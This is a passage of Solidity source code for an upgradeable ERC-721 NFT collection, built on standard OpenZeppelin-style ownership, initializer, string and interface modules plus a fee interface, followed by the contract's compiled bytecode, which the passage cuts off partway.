for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IDropKit {
/**
* @dev Emitted when collection is created
*/
event CollectionCreated(address indexed collectionAddress);
/**
* @dev Returns the commission amount.
*/
function commission(uint256 amount) external view returns (uint256);
/**
* @dev Add fees from Collection
*/
function addFees(uint256 amount) external;
/**
* @dev Add fees claimed by the Collection
*/
function addFeesClaimed(uint256 amount) external;
/**
* @dev Get fees accrued by the account
*/
function getFees(address account) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
} | 0x6080604052600436106102d15760003560e01c806368428a1b11610179578063a0712d68116100d6578063c87b56dd1161008a578063e985e9c511610064578063e985e9c514610768578063f0f44260146107be578063f2fde38b146107de57600080fd5b8063c87b56dd14610720578063e36b0b3714610740578063e3e1e8ef1461075557600080fd5b8063ace849c6116100bb578063ace849c6146106cb578063b88d4fde146106eb578063bf2d9e0b1461070b57600080fd5b8063a0712d6814610698578063a22cb465146106ab57600080fd5b8063896b24b71161012d5780639222800611610112578063922280061461064e57806395d89b411461066d578063a035b1fe1461068257600080fd5b8063896b24b7146106035780638da5cb5b1461062357600080fd5b8063715018a61161015e578063715018a6146105ae578063789e3a55146105c35780637cb64759146105e357600080fd5b806368428a1b1461057057806370a082311461058e57600080fd5b80633ccfd60b1161023257806353135ca0116101e65780635f48f393116101c05780635f48f3931461050e57806361d027b3146105245780636352211e1461055057600080fd5b806353135ca0146104c057806355f804b3146104d957806356742b5a146104f957600080fd5b8063453c231011610217578063453c2310146104745780634f6ccce71461048a578063507e094f146104aa57600080fd5b80633ccfd60b1461043f57806342842e0e1461045457600080fd5b806309d798fa1161028957806318160ddd1161026e57806318160ddd146103ea57806323b872dd146103ff5780632f745c591461041f57600080fd5b806309d798fa146103b45780630cbf54c8146103d457600080fd5b8063077f224a116102ba578063077f224a1461032d578063081812fc1461034f578063095ea7b31461039457600080fd5b806301ffc9a7146102d657806306fdde031461030b575b600080fd5b3480156102e257600080fd5b506102f66102f13660046141c1565b6107fe565b60405190151581526020015b60405180910390f35b34801561031757600080fd5b5061032061080f565b6040516103029190614464565b34801561033957600080fd5b5061034d61034836600461422c565b6108a1565b005b34801561035b57600080fd5b5061036f61036a3660046141a9565b610a28565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610302565b3480156103a057600080fd5b5061034d6103af366004614117565b610b02565b3480156103c057600080fd5b50610108545b604051908152602001610302565b3480156103e057600080fd5b50610107546103c6565b3480156103f657600080fd5b506099546103c6565b34801561040b57600080fd5b5061034d61041a36600461403a565b610c8f565b34801561042b57600080fd5b506103c661043a366004614117565b610d30565b34801561044b57600080fd5b5061034d610dff565b34801561046057600080fd5b5061034d61046f36600461403a565b610fea565b34801561048057600080fd5b50610103546103c6565b34801561049657600080fd5b506103c66104a53660046141a9565b611005565b3480156104b657600080fd5b50610102546103c6565b3480156104cc57600080fd5b506101095460ff166102f6565b3480156104e557600080fd5b5061034d6104f43660046141f9565b6110ea565b34801561050557600080fd5b506103c6611182565b34801561051a57600080fd5b50610101546103c6565b34801561053057600080fd5b506101005473ffffffffffffffffffffffffffffffffffffffff1661036f565b34801561055c57600080fd5b5061036f61056b3660046141a9565b6111fa565b34801561057c57600080fd5b5061010954610100900460ff166102f6565b34801561059a57600080fd5b506103c66105a9366004613fee565b6112ac565b3480156105ba57600080fd5b5061034d61137a565b3480156105cf57600080fd5b5061034d6105de3660046142ff565b611407565b3480156105ef57600080fd5b5061034d6105fe3660046141a9565b6114d6565b34801561060f57600080fd5b5061034d61061e366004614347565b61155c565b34801561062f57600080fd5b5060c95473ffffffffffffffffffffffffffffffffffffffff1661036f565b34801561065a57600080fd5b506101095462010000900460ff166102f6565b34801561067957600080fd5b5061032061163f565b34801561068e57600080fd5b50610104546103c6565b61034d6106a63660046141a9565b61164e565b3480156106b757600080fd5b5061034d6106c63660046140ee565b6118d9565b3480156106d757600080fd5b5061034d6106e6366004614140565b6119f0565b3480156106f757600080fd5b5061034d610706366004614075565b611b37565b34801561071757600080fd5b5060fd546103c6565b34801561072c57600080fd5b5061032061073b3660046141a9565b611bd9565b34801561074c57600080fd5b5061034d611ce9565b61034d6107633660046142b5565b611d95565b34801561077457600080fd5b506102f6610783366004614008565b73ffffffffffffffffffffffffffffffffffffffff9182166000908152606a6020908152604080832093909416825291909152205460ff1690565b3480156107ca57600080fd5b5061034d6107d9366004613fee565b6120c1565b3480156107ea57600080fd5b5061034d6107f9366004613fee565b61218a565b6000610809826122ba565b92915050565b60606065805461081e90614523565b80601f016020809104026020016040519081016040528092919081815260200182805461084a90614523565b80156108975780601f1061086c57610100808354040283529160200191610897565b820191906000526020600020905b81548152906001019060200180831161087a57829003601f168201915b5050505050905090565b600054610100900460ff16806108ba575060005460ff16155b61094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084015b60405180910390fd5b600054610100900460ff1615801561098a57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b6109948484612310565b61099c612441565b6109a461256e565b60fb8054337fffffffffffffffffffffffff000000000000000000000000000000000000000091821617909155610100805490911673ffffffffffffffffffffffffffffffffffffffff84161790558015610a2257600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b50505050565b60008181526067602052604081205473ffffffffffffffffffffffffffffffffffffffff16610ad9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610942565b5060009081526069602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000610b0d826111fa565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610942565b3373ffffffffffffffffffffffffffffffffffffffff82161480610bf45750610bf48133610783565b610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610942565b610c8a8383612662565b505050565b610c993382612702565b610d25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610942565b610c8a838383612872565b6000610d3b836112ac565b8210610dc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610942565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152609760209081526040808320938352929052205490565b60004711610e69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f302062616c616e636500000000000000000000000000000000000000000000006044820152606401610942565b60fb546040517f9af608c9000000000000000000000000000000000000000000000000000000008152306004820152479160009173ffffffffffffffffffffffffffffffffffffffff90911690639af608c99060240160206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f919061429d565b61010054909150610f3f9073ffffffffffffffffffffffffffffffffffffffff16610f3a83856144e0565b612ae4565b60fb54610f629073ffffffffffffffffffffffffffffffffffffffff1682612ae4565b60fb546040517fb9bff4bb0000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff9091169063b9bff4bb90602401600060405180830381600087803b158015610fce57600080fd5b505af1158015610fe2573d6000803e3d6000fd5b505050505050565b610c8a83838360405180602001604052806000815250611b37565b600061101060995490565b821061109e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610942565b609982815481106110d8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b60c95473ffffffffffffffffffffffffffffffffffffffff16331461116b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b805161117e9060ff906020840190613e1f565b5050565b600061010754610108544261119791906144e0565b106111a457506101065490565b6101065461010754610105546111bb9083906144e0565b610108546111c990426144e0565b610107546111d791906144e0565b6111e191906144a3565b6111eb919061448f565b6111f59190614477565b905090565b60008181526067602052604081205473ffffffffffffffffffffffffffffffffffffffff1680610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610942565b600073ffffffffffffffffffffffffffffffffffffffff8216611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610942565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526068602052604090205490565b60c95473ffffffffffffffffffffffffffffffffffffffff1633146113fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b6114056000612c3e565b565b60c95473ffffffffffffffffffffffffffffffffffffffff163314611488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b61010980549115157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00009092169190911761010017905561010193909355610102919091556101035561010455565b60c95473ffffffffffffffffffffffffffffffffffffffff163314611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b60fe55565b60c95473ffffffffffffffffffffffffffffffffffffffff1633146115dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b61010980549115157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff0090921691909117620100001790554261010855610101959095556101029390935561010391909155610106919091556101055561010755565b60606066805461081e90614523565b80600081116116b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f47726561746572207468616e20300000000000000000000000000000000000006044820152606401610942565b610103546116f48260fc6000335b73ffffffffffffffffffffffffffffffffffffffff16815260208101919091526040016000205490612cb5565b111561175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4578636565646564206d617800000000000000000000000000000000000000006044820152606401610942565b610101546117738261176d60995490565b90612cb5565b11156117db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4578636565646564206d617800000000000000000000000000000000000000006044820152606401610942565b6101095460ff1615611849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420616374697665000000000000000000000000000000000000000000006044820152606401610942565b6101095462010000900460ff1680611869575061010954610100900460ff165b6118cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420616374697665000000000000000000000000000000000000000000006044820152606401610942565b61117e8233612cc1565b73ffffffffffffffffffffffffffffffffffffffff8216331415611959576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610942565b336000818152606a6020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60c95473ffffffffffffffffffffffffffffffffffffffff163314611a71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b828114611a7d57600080fd5b60005b81811015611b3057611b1e858583818110611ac4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135848484818110611b04577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611b199190613fee565b612e55565b80611b2881614577565b915050611a80565b5050505050565b611b413383612702565b611bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610942565b610a2284848484612f21565b60008181526067602052604090205460609073ffffffffffffffffffffffffffffffffffffffff16611c8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610942565b6000611c97612fc4565b90506000815111611cb75760405180602001604052806000815250611ce2565b80611cc184612fd3565b604051602001611cd29291906143ec565b6040516020818303038152906040525b9392505050565b60c95473ffffffffffffffffffffffffffffffffffffffff163314611d6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b61010980547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000169055565b8260008111611e00576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f47726561746572207468616e20300000000000000000000000000000000000006044820152606401610942565b61010354611e128260fc6000336116c7565b1115611e7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4578636565646564206d617800000000000000000000000000000000000000006044820152606401610942565b61010154611e8b8261176d60995490565b1115611ef3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f4578636565646564206d617800000000000000000000000000000000000000006044820152606401610942565b6101095460ff16611f60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420616374697665000000000000000000000000000000000000000000006044820152606401610942565b60fe54611fc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420616374697665000000000000000000000000000000000000000000006044820152606401610942565b6120518383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505060fe546040517fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003360601b166020820152909250603401905060405160208183030381529060405280519060200120613153565b6120b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f4e6f7420616374697665000000000000000000000000000000000000000000006044820152606401610942565b610a228433612cc1565b60c95473ffffffffffffffffffffffffffffffffffffffff163314612142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b61010080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60c95473ffffffffffffffffffffffffffffffffffffffff16331461220b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610942565b73ffffffffffffffffffffffffffffffffffffffff81166122ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610942565b6122b781612c3e565b50565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d63000000000000000000000000000000000000000000000000000000001480610809575061080982613229565b600054610100900460ff1680612329575060005460ff16155b6123b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610942565b600054610100900460ff161580156123f457600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b6123fc61330c565b61240461330c565b61240e8383613420565b8015610c8a57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055505050565b600054610100900460ff168061245a575060005460ff16155b6124e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610942565b600054610100900460ff1615801561252557600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b61252d61330c565b61253561330c565b61253d61330c565b80156122b757600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600054610100900460ff1680612587575060005460ff16155b612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610942565b600054610100900460ff1615801561265257600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b61265a61330c565b61253d61355f565b600081815260696020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff841690811790915581906126bc826111fa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008181526067602052604081205473ffffffffffffffffffffffffffffffffffffffff166127b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a2